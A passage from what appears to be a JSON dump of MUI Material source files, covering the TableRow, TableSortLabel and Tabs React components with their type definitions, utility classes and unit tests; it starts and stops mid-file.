false,\n    ...other\n  } = props;\n  const tablelvl2 = React.useContext(Tablelvl2Context);\n\n  const ownerState = {\n    ...props,\n    component,\n    hover,\n    selected,\n    head: tablelvl2 && tablelvl2.variant === 'head',\n    footer: tablelvl2 && tablelvl2.variant === 'footer',\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TableRowRoot\n      as={component}\n      ref={ref}\n      className={clsx(classes.root, className)}\n      role={component === defaultComponent ? null : 'row'}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nTableRow.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Should be valid `<tr>` children such as `TableCell`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the table row will shade on hover.\n   * @default false\n   */\n  hover: PropTypes.bool,\n  /**\n   * If `true`, the table row will have the selected shading.\n   * @default false\n   */\n  selected: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TableRow;\n"
  },
  {
    "path": "packages/mui-material/src/TableRow/TableRow.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableRow, { tableRowClasses as classes } from '@mui/material/TableRow';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TableRow />', () => {\n  const { render } = createRenderer();\n\n  function renderInTable(node) {\n    return render(\n      <table>\n        <tbody>{node}</tbody>\n      </table>,\n    );\n  }\n\n  describeConformance(<TableRow />, () => ({\n    classes,\n    inheritComponent: 'tr',\n    render: (node) => {\n      const { container, ...other } = render(\n        <table>\n          <tbody>{node}</tbody>\n        </table>,\n      );\n      return { container: container.firstChild.firstChild, ...other };\n    },\n    muiName: 'MuiTableRow',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLTableRowElement,\n    testComponentPropWith: 'tr',\n  }));\n\n  it('should render children', () => {\n    const children = <td data-testid=\"test\" />;\n    renderInTable(<TableRow>{children}</TableRow>);\n    screen.getByTestId('test');\n  });\n\n  describe('prop: component', () => {\n    it('can render a different component', () => {\n      const { container } = render(<TableRow component=\"div\" />);\n      expect(container.firstChild).to.have.property('nodeName', 'DIV');\n    });\n\n    it('sets role=\"rowgroup\"', () => {\n      const { container } = render(<TableRow component=\"div\" />);\n      expect(container.firstChild).to.have.attribute('role', 'row');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableRow/index.d.ts",
    "content": "export { default } from './TableRow';\nexport * from './TableRow';\n\nexport { default as tableRowClasses } from './tableRowClasses';\nexport * from './tableRowClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableRow/index.js",
    "content": "export { default } from './TableRow';\n\nexport { default as tableRowClasses } from './tableRowClasses';\nexport * from './tableRowClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableRow/tableRowClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableRowClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `selected={true}`. */\n  selected: string;\n  /** State class applied to the root element if `hover={true}`. */\n  hover: string;\n  /** Styles applied to the root element if table variant=\"head\". */\n  head: string;\n  /** Styles applied to the root element if table variant=\"footer\". */\n  footer: string;\n}\n\nexport type TableRowClassKey = keyof TableRowClasses;\n\nexport function getTableRowUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableRow', slot);\n}\n\nconst tableRowClasses: TableRowClasses = generateUtilityClasses('MuiTableRow', [\n  'root',\n  'selected',\n  'hover',\n  'head',\n  'footer',\n]);\n\nexport default tableRowClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableSortLabel/TableSortLabel.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { TableSortLabelClasses } from './tableSortLabelClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface TableSortLabelRootSlotPropsOverrides {}\n\nexport interface TableSortLabelIconSlotPropsOverrides {}\n\nexport interface TableSortLabelSlots {\n  /**\n   * The component that renders the root slot.\n   * @default span\n   */\n  root?: React.ElementType | undefined;\n  /**\n   * The component that renders the icon slot.\n   * @default ArrowDownwardIcon\n   */\n  icon?: React.ElementType | undefined;\n}\n\nexport type TableSortLabelSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  TableSortLabelSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     */\n    root: SlotProps<\n      React.ElementType<React.HTMLAttributes<HTMLSpanElement>>,\n      TableSortLabelRootSlotPropsOverrides,\n      TableSortLabelOwnerState\n    >;\n    /**\n     * Props forwarded to the icon slot.\n     */\n    icon: SlotProps<\n      React.ElementType<React.SVGAttributes<SVGSVGElement>>,\n      TableSortLabelIconSlotPropsOverrides,\n      TableSortLabelOwnerState\n    >;\n  }\n>;\n\nexport interface TableSortLabelOwnerState extends TableSortLabelOwnProps {}\n\nexport interface TableSortLabelOwnProps {\n  /**\n   * If `true`, the label will have the active styling (should be true for the sorted column).\n   * @default false\n   */\n  active?: boolean | undefined;\n  /**\n   * Label contents, the arrow will be appended automatically.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableSortLabelClasses> | undefined;\n  /**\n   * The current sort direction.\n   * @default 'asc'\n   */\n  direction?: 'asc' | 'desc' | undefined;\n  /**\n   * Hide sort icon when active is false.\n   * @default false\n   */\n  hideSortIcon?: boolean | undefined;\n  /**\n   * Sort icon to use.\n   * @default ArrowDownwardIcon\n   */\n  IconComponent?:\n    | React.JSXElementConstructor<{\n        className: string;\n      }>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type TableSortLabelTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'span',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & TableSortLabelOwnProps & TableSortLabelSlotsAndSlotProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n * A button based label for placing inside `TableCell` for column sorting.\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableSortLabel API](https://next.mui.com/material-ui/api/table-sort-label/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const TableSortLabel: ExtendButtonBase<TableSortLabelTypeMap>;\n\nexport type TableSortLabelProps<\n  RootComponent extends React.ElementType = TableSortLabelTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableSortLabelTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TableSortLabel;\n"
  },
  {
    "path": "packages/mui-material/src/TableSortLabel/TableSortLabel.js",
    "content": "'use client';\nimport composeClasses from '@mui/utils/composeClasses';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport ButtonBase from '../ButtonBase';\nimport ArrowDownwardIcon from '../internal/svg-icons/ArrowDownward';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport tableSortLabelClasses, { getTableSortLabelUtilityClass } from './tableSortLabelClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, direction, active } = ownerState;\n\n  const slots = {\n    root: ['root', active && 'active', `direction${capitalize(direction)}`],\n    icon: ['icon'],\n  };\n\n  return composeClasses(slots, getTableSortLabelUtilityClass, classes);\n};\n\nconst TableSortLabelRoot = styled(ButtonBase, {\n  name: 'MuiTableSortLabel',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.active && styles.active];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    cursor: 'pointer',\n    display: 'inline-flex',\n    justifyContent: 'flex-start',\n    flexDirection: 'inherit',\n    alignItems: 'center',\n    '&:focus': {\n      color: (theme.vars || theme).palette.text.secondary,\n    },\n    '&:hover': {\n      color: (theme.vars || theme).palette.text.secondary,\n      [`& .${tableSortLabelClasses.icon}`]: {\n        opacity: 0.5,\n      },\n    },\n    [`&.${tableSortLabelClasses.active}`]: {\n      color: (theme.vars || theme).palette.text.primary,\n      [`& .${tableSortLabelClasses.icon}`]: {\n        opacity: 1,\n        color: (theme.vars || theme).palette.text.secondary,\n      },\n    },\n  })),\n);\n\nconst TableSortLabelIcon = styled('span', {\n  name: 'MuiTableSortLabel',\n  slot: 'Icon',\n  overridesResolver: (props, styles) => styles.icon,\n})(\n  memoTheme(({ theme }) => ({\n    fontSize: 18,\n    marginRight: 4,\n    marginLeft: 4,\n    opacity: 0,\n    transition: theme.transitions.create(['opacity', 'transform'], {\n      duration: theme.transitions.duration.shorter,\n    }),\n    userSelect: 'none',\n    variants: [\n      {\n        props: {\n          direction: 'desc',\n        },\n        style: {\n          transform: 'rotate(0deg)',\n        },\n      },\n      {\n        props: {\n          direction: 'asc',\n        },\n        style: {\n          transform: 'rotate(180deg)',\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * A button based label for placing inside `TableCell` for column sorting.\n */\nconst TableSortLabel = React.forwardRef(function TableSortLabel(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableSortLabel' });\n  const {\n    active = false,\n    children,\n    className,\n    direction = 'asc',\n    hideSortIcon = false,\n    IconComponent = ArrowDownwardIcon,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    active,\n    direction,\n    hideSortIcon,\n    IconComponent,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: TableSortLabelRoot,\n    externalForwardedProps,\n    ownerState,\n    className: clsx(classes.root, className),\n    ref,\n    additionalProps: {\n      internalNativeButton: false,\n    },\n  });\n\n  const [IconSlot, iconProps] = useSlot('icon', {\n    elementType: TableSortLabelIcon,\n    externalForwardedProps,\n    ownerState,\n    className: classes.icon,\n  });\n\n  return (\n    <RootSlot disableRipple component=\"span\" {...rootProps} {...other}>\n      {children}\n      {hideSortIcon && !active ? null : <IconSlot as={IconComponent} {...iconProps} />}\n    </RootSlot>\n  );\n});\n\nTableSortLabel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the label will have the active styling (should be true for the sorted column).\n   * @default false\n   */\n  active: PropTypes.bool,\n  /**\n   * Label contents, the arrow will be appended automatically.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The current sort direction.\n   * @default 'asc'\n   */\n  direction: PropTypes.oneOf(['asc', 'desc']),\n  /**\n   * Hide sort icon when active is false.\n   * @default false\n   */\n  hideSortIcon: PropTypes.bool,\n  /**\n   * Sort icon to use.\n   * @default ArrowDownwardIcon\n   */\n  IconComponent: PropTypes.elementType,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    icon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    icon: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TableSortLabel;\n"
  },
  {
    "path": "packages/mui-material/src/TableSortLabel/TableSortLabel.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableSortLabel, { tableSortLabelClasses as classes } from '@mui/material/TableSortLabel';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport { createSvgIcon } from '@mui/material/utils';\nimport describeConformance from '../../test/describeConformance';\n\nconst SortIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'Sort');\n\ndescribe('<TableSortLabel />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TableSortLabel />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiTableSortLabel',\n    testVariantProps: { variant: 'foo' },\n    testDeepOverrides: { slotName: 'icon', slotClassName: classes.icon },\n    refInstanceof: window.HTMLSpanElement,\n    skip: ['componentProp'],\n    slots: {\n      icon: {\n        expectedClassName: classes.icon,\n      },\n    },\n  }));\n\n  it('should set the active class when active', () => {\n    const activeFlag = true;\n    const { container } = render(<TableSortLabel active={activeFlag} />);\n    expect(container.firstChild).to.have.class(classes.active);\n  });\n\n  it('should not set the active class when not active', () => {\n    const activeFlag = false;\n    const { container } = render(<TableSortLabel active={activeFlag} />);\n    expect(container.firstChild).not.to.have.class(classes.active);\n  });\n\n  describe('has an icon', () => {\n    it('should have one child with the icon class', () => {\n      const { container } = render(<TableSortLabel />);\n      const iconChildren = container.querySelectorAll(`.${classes.icon}`);\n      expect(iconChildren.length).to.equal(1);\n    });\n\n    it('when given direction desc should have desc direction class', () => {\n      const { container } = render(<TableSortLabel direction=\"desc\" />);\n      expect(container.firstChild).to.have.class(classes.directionDesc);\n      expect(container.querySelector(`.${classes.directionDesc} > .${classes.icon}`)).not.equal(\n        null,\n      );\n    });\n\n    it('when given direction asc should have asc direction class', () => {\n      const { container } = render(<TableSortLabel direction=\"asc\" />);\n      expect(container.firstChild).to.have.class(classes.directionAsc);\n      expect(container.querySelector(`.${classes.directionAsc} > .${classes.icon}`)).not.equal(\n        null,\n      );\n    });\n\n    it('should accept a custom icon for the sort icon', () => {\n      render(<TableSortLabel IconComponent={SortIcon} />);\n      expect(screen.getAllByTestId('SortIcon')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: hideSortIcon', () => {\n    it('can hide icon when not active', () => {\n      const { container } = render(<TableSortLabel active={false} hideSortIcon />);\n      const iconChildren = container.querySelectorAll(`.${classes.icon}`);\n      expect(iconChildren.length).to.equal(0);\n    });\n\n    it('does not hide icon by default when not active', () => {\n      const { container } = render(<TableSortLabel active={false} />);\n      const iconChildren = container.querySelectorAll(`.${classes.icon}`);\n      expect(iconChildren.length).to.equal(1);\n    });\n\n    it('does not hide icon when active', () => {\n      const { container } = render(<TableSortLabel active hideSortIcon />);\n      const iconChildren = container.querySelectorAll(`.${classes.icon}`);\n      expect(iconChildren.length).to.equal(1);\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('renders as a span with pseudo-button semantics by default', () => {\n      render(<TableSortLabel />);\n\n      const label = screen.getByRole('button');\n      expect(label).to.have.tagName('SPAN');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableSortLabel/index.d.ts",
    "content": "export { default } from './TableSortLabel';\nexport * from './TableSortLabel';\n\nexport { default as tableSortLabelClasses } from './tableSortLabelClasses';\nexport * from './tableSortLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableSortLabel/index.js",
    "content": "export { default } from './TableSortLabel';\n\nexport { default as tableSortLabelClasses } from './tableSortLabelClasses';\nexport * from './tableSortLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableSortLabel/tableSortLabelClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableSortLabelClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `direction=\"desc\"`. */\n  directionDesc: string;\n  /** Styles applied to the root element if `direction=\"asc\"`. */\n  directionAsc: string;\n  /** State class applied to the root element if `active={true}`. */\n  active: string;\n  /** Styles applied to the icon component. */\n  icon: string;\n}\n\nexport type TableSortLabelClassKey = keyof TableSortLabelClasses;\n\nexport function getTableSortLabelUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableSortLabel', slot);\n}\n\nconst tableSortLabelClasses: TableSortLabelClasses = generateUtilityClasses('MuiTableSortLabel', [\n  'root',\n  'active',\n  'icon',\n  'directionDesc',\n  'directionAsc',\n]);\n\nexport default tableSortLabelClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/ScrollbarSize.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport debounce from '../utils/debounce';\nimport { ownerWindow, unstable_useEnhancedEffect as useEnhancedEffect } from '../utils';\n\nconst styles = {\n  width: 99,\n  height: 99,\n  position: 'absolute',\n  top: -9999,\n  overflow: 'scroll',\n};\n\n/**\n * @ignore - internal component.\n * The component originates from https://github.com/STORIS/react-scrollbar-size.\n * It has been moved into the core in order to minimize the bundle size.\n */\nexport default function ScrollbarSize(props) {\n  const { onChange, ...other } = props;\n  const scrollbarHeight = React.useRef();\n  const nodeRef = React.useRef(null);\n\n  const setMeasurements = () => {\n    scrollbarHeight.current = nodeRef.current.offsetHeight - nodeRef.current.clientHeight;\n  };\n\n  useEnhancedEffect(() => {\n    const handleResize = debounce(() => {\n      const prevHeight = scrollbarHeight.current;\n      setMeasurements();\n\n      if (prevHeight !== scrollbarHeight.current) {\n        onChange(scrollbarHeight.current);\n      }\n    });\n\n    const containerWindow = ownerWindow(nodeRef.current);\n    containerWindow.addEventListener('resize', handleResize);\n    return () => {\n      handleResize.clear();\n      containerWindow.removeEventListener('resize', handleResize);\n    };\n  }, [onChange]);\n\n  React.useEffect(() => {\n    setMeasurements();\n    onChange(scrollbarHeight.current);\n  }, [onChange]);\n\n  return <div style={styles} {...other} ref={nodeRef} />;\n}\n\nScrollbarSize.propTypes = {\n  onChange: PropTypes.func.isRequired,\n};\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/ScrollbarSize.test.js",
    "content": "import { expect } from 'chai';\nimport { spy, stub } from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport ScrollbarSize from './ScrollbarSize';\n\ndescribe('<ScrollbarSize />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  describe('mount', () => {\n    it('should call on initial load', () => {\n      const onChange = spy();\n      render(<ScrollbarSize onChange={onChange} />);\n\n      expect(onChange.called).to.equal(true);\n    });\n  });\n\n  describe('prop: onChange', () => {\n    it('should call on first resize event', async () => {\n      const onChange = spy();\n      const { container } = render(<ScrollbarSize onChange={onChange} />);\n      stub(container.firstChild, 'offsetHeight').get(() => 20);\n      stub(container.firstChild, 'clientHeight').get(() => 0);\n\n      onChange.resetHistory();\n\n      window.dispatchEvent(new window.Event('resize', {}));\n      clock.tick(166);\n      expect(onChange.callCount).to.equal(1);\n      expect(onChange.args[0][0]).to.equal(20);\n    });\n\n    it('should not call if height has not changed from previous resize', async () => {\n      const onChange = spy();\n      const { container } = render(<ScrollbarSize onChange={onChange} />);\n      stub(container.firstChild, 'offsetHeight').get(() => 20);\n      stub(container.firstChild, 'clientHeight').get(() => 0);\n\n      onChange.resetHistory();\n\n      window.dispatchEvent(new window.Event('resize', {}));\n      clock.tick(166);\n      window.dispatchEvent(new window.Event('resize', {}));\n      clock.tick(166);\n      expect(onChange.callCount).to.equal(1);\n      expect(onChange.args[0][0]).to.equal(20);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/Tabs.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport TabScrollButton from '../TabScrollButton';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TabsClasses } from './tabsClasses';\nimport SvgIcon from '../SvgIcon';\n\nexport interface TabsPropsIndicatorColorOverrides {}\nexport interface TabsPropsVariantOverrides {}\n\nexport interface TabsRootSlotPropsOverrides {}\nexport interface TabsScrollerSlotPropsOverrides {}\nexport interface TabsListSlotPropsOverrides {}\nexport interface TabsScrollbarSlotPropsOverrides {}\nexport interface TabsIndicatorSlotPropsOverrides {}\nexport interface TabsScrollButtonsSlotPropsOverrides {}\nexport interface TabsStartScrollButtonIconSlotPropsOverrides {}\nexport interface TabsEndScrollButtonIconSlotPropsOverrides {}\n\nexport interface TabsSlots {\n  /**\n   * The component used for the popper.\n   * @default div\n   */\n  root: React.ElementType;\n  /**\n   * The component used for the scroller.\n   * @default div\n   */\n  scroller: React.ElementType;\n  /**\n   * The component used for the flex container.\n   * @default div\n   */\n  list: React.ElementType;\n  /**\n   * The component used for the scroller.\n   * @default ScrollbarSize\n   */\n  scrollbar: React.ElementType;\n  /**\n   * The component used for the tab indicator.\n   * @default span\n   */\n  indicator: React.ElementType;\n  /**\n   * The component used for the scroll button.\n   * @default TabScrollButton\n   */\n  scrollButtons: React.ElementType;\n  /**\n   * The component used for the start scroll button icon.\n   * @default KeyboardArrowLeft\n   */\n  startScrollButtonIcon: React.ElementType;\n  /**\n   * The component used for the end scroll button icon.\n   * @default KeyboardArrowRight\n   */\n  endScrollButtonIcon: React.ElementType;\n}\n\nexport type TabsSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  TabsSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<'div', TabsRootSlotPropsOverrides, TabsOwnerState>;\n    /**\n     * Props forwarded to the scroller slot.\n     * By default, the available props are based on the div element.\n     */\n    scroller: SlotProps<'div', TabsScrollerSlotPropsOverrides, TabsOwnerState>;\n    /**\n     * Props forwarded to the list slot.\n     * By default, the available props are based on the div element.\n     */\n    list: SlotProps<'div', TabsListSlotPropsOverrides, TabsOwnerState>;\n    /**\n     * Props forwarded to the scrollbar slot.\n     * By default, the available props are based on the div element.\n     */\n    scrollbar: SlotProps<\n      'div',\n      {\n        onChange?: ((scrollbarWidth: undefined | number) => void) | undefined;\n      } & TabsScrollbarSlotPropsOverrides,\n      TabsOwnerState\n    >;\n    /**\n     * Props forwarded to the indicator slot.\n     * By default, the available props are based on the span element.\n     */\n    indicator: SlotProps<'span', TabsIndicatorSlotPropsOverrides, TabsOwnerState>;\n    /**\n     * Props forwarded to the scrollButtons slot.\n     * By default, the available props are based on the [TabScrollButton](https://mui.com/material-ui/api/tab-scroll-button/#props) component.\n     */\n    scrollButtons: SlotProps<\n      typeof TabScrollButton,\n      TabsScrollButtonsSlotPropsOverrides,\n      TabsOwnerState\n    >;\n    /**\n     * Props forwarded to the startScrollButtonIcon slot.\n     * By default, the available props are based on the [SvgIcon](https://mui.com/material-ui/api/svg-icon/#props) component.\n     */\n    startScrollButtonIcon: SlotProps<\n      typeof SvgIcon,\n      TabsStartScrollButtonIconSlotPropsOverrides,\n      TabsOwnerState\n    >;\n    /**\n     * Props forwarded to the endScrollButtonIcon slot.\n     * By default, the available props are based on the [SvgIcon](https://mui.com/material-ui/api/svg-icon/#props) component.\n     */\n    endScrollButtonIcon: SlotProps<\n      typeof SvgIcon,\n      TabsEndScrollButtonIconSlotPropsOverrides,\n      TabsOwnerState\n    >;\n  }\n>;\n\nexport interface TabsOwnerState extends Omit<TabsProps, 'slots' | 'slotProps'> {\n  vertical: boolean;\n  fixed: boolean;\n  hideScrollbar: boolean;\n  scrollableX: boolean;\n  scrollableY: boolean;\n  centered: boolean;\n  scrollButtonsHideMobile: boolean;\n}\n\nexport interface TabsOwnProps extends TabsSlotsAndSlotProps {\n  /**\n   * Callback fired when the component mounts.\n   * This is useful when you want to trigger an action programmatically.\n   * It supports two actions: `updateIndicator()` and `updateScrollButtons()`\n   *\n   * @param {object} actions This object contains all possible actions\n   * that can be triggered programmatically.\n   */\n  action?: React.Ref<TabsActions> | undefined;\n  /**\n   * If `true`, the scroll buttons aren't forced hidden on mobile.\n   * By default the scroll buttons are hidden on mobile and takes precedence over `scrollButtons`.\n   * @default false\n   */\n  allowScrollButtonsMobile?: boolean | undefined;\n  /**\n   * The label for the Tabs as a string.\n   */\n  'aria-label'?: string | undefined;\n  /**\n   * An id or list of ids separated by a space that label the Tabs.\n   */\n  'aria-labelledby'?: string | undefined;\n  /**\n   * If `true`, the tabs are centered.\n   * This prop is intended for large views.\n   * @default false\n   */\n  centered?: boolean | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TabsClasses> | undefined;\n  /**\n   * Determines the color of the indicator.\n   * @default 'primary'\n   */\n  indicatorColor?:\n    | OverridableStringUnion<'secondary' | 'primary', TabsPropsIndicatorColorOverrides>\n    | undefined;\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {any} value We default to the index of the child (number)\n   */\n  onChange?: ((event: React.SyntheticEvent, value: any) => void) | undefined;\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation?: 'horizontal' | 'vertical' | undefined;\n  /**\n   * Determine behavior of scroll buttons when tabs are set to scroll:\n   *\n   * - `auto` will only present them when not all the items are visible.\n   * - `true` will always present them.\n   * - `false` will never present them.\n   *\n   * By default the scroll buttons are hidden on mobile.\n   * This behavior can be disabled with `allowScrollButtonsMobile`.\n   * @default 'auto'\n   */\n  scrollButtons?: 'auto' | true | false | undefined;\n  /**\n   * If `true` the selected tab changes on focus. Otherwise it only\n   * changes on activation.\n   */\n  selectionFollowsFocus?: boolean | undefined;\n  /**\n   * Determines the color of the `Tab`.\n   * @default 'primary'\n   */\n  textColor?: 'secondary' | 'primary' | 'inherit' | undefined;\n  /**\n   * The value of the currently selected `Tab`.\n   * If you don't want any selected `Tab`, you can set this prop to `false`.\n   */\n  value?: any;\n  /**\n   *  Determines additional display behavior of the tabs:\n   *\n   *  - `scrollable` will invoke scrolling properties and allow for horizontally\n   *  scrolling (or swiping) of the tab bar.\n   *  - `fullWidth` will make the tabs grow to use all the available space,\n   *  which should be used for small views, like on mobile.\n   *  - `standard` will render the default state.\n   * @default 'standard'\n   */\n  variant?:\n    | OverridableStringUnion<'standard' | 'scrollable' | 'fullWidth', TabsPropsVariantOverrides>\n    | undefined;\n  /**\n   * If `true`, the scrollbar is visible. It can be useful when displaying\n   * a long vertical list of tabs.\n   * @default false\n   */\n  visibleScrollbar?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TabsTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & TabsOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Tabs](https://next.mui.com/material-ui/react-tabs/)\n *\n * API:\n *\n * - [Tabs API](https://next.mui.com/material-ui/api/tabs/)\n */\ndeclare const Tabs: OverridableComponent<TabsTypeMap>;\n\nexport interface TabsActions {\n  updateIndicator(): void;\n  updateScrollButtons(): void;\n}\n\nexport type TabsProps<\n  RootComponent extends React.ElementType = TabsTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TabsTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Tabs;\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/Tabs.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport refType from '@mui/utils/refType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport debounce from '../utils/debounce';\nimport animate from '../internal/animate';\nimport ScrollbarSize from './ScrollbarSize';\nimport TabScrollButton from '../TabScrollButton';\nimport useEventCallback from '../utils/useEventCallback';\nimport tabsClasses, { getTabsUtilityClass } from './tabsClasses';\nimport ownerWindow from '../utils/ownerWindow';\nimport isLayoutSupported from '../utils/isLayoutSupported';\nimport useSlot from '../utils/useSlot';\nimport { ownerDocument, useForkRef, getActiveElement, useRovingTabIndex } from '../utils';\n\nconst useUtilityClasses = (ownerState) => {\n  const {\n    vertical,\n    fixed,\n    hideScrollbar,\n    scrollableX,\n    scrollableY,\n    centered,\n    